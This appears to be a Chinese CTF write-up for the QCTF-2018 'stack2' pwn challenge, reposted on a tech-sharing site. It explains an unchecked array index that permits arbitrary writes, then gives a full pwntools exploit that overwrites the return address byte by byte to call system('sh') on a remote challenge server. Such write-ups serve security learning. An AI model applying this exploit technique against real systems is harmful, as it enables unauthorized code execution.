标签:number sendline numbers io recvuntil stack2 change
题目来源: XCTF 4th-QCTF-2018
题目描述:暂无
程序在change number功能里面没有对下标进行检验,因此可以任意写地址,因此将返回地址更改即可
这题目有点问题,给的后门函数是system("/bin/bash"),但是调用之后会提示你找不到bash,但是也能做
方法是自己构造调用,将返回地址处更改为p32(system_plt)+p32(ret_addr)+p32("sh")即可
exp如下:
from pwn import * #io = gdb.debug('./stack2', 'b *0x8048839') #io = process('./stack2') io = remote('111.200.241.244', 56178) def change_number(pos, val): io.recvuntil('1. show numbers\n2. add number\n3. change number\n4. get average\n5. exit\n') io.sendline('3') io.recvuntil('which number to change:\n') io.sendline(str(pos)) io.recvuntil('new number:') io.sendline(str(val)) io.recvuntil('How many numbers you have:\n') io.sendline('1') io.recvuntil('Give me your numbers\n') io.sendline('1') change_number(132, 0x50) change_number(133, 0x84) change_number(134, 0x04) change_number(135, 0x08) change_number(136, 0xd0) change_number(137, 0x85) change_number(138, 0x04) change_number(139, 0x08) change_number(140, 0x87) change_number(141, 0x89) change_number(142, 0x04) change_number(143, 0x08) io.recvuntil('1. show numbers\n2. add number\n3. change number\n4. get average\n5. exit\n') io.sendline('5') io.interactive()
标签:number,sendline,numbers,io,recvuntil,stack2,change 来源: https://www.cnblogs.com/hktk1643/p/15147309.html
本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享; 2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关; 3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关; 4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除; 5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。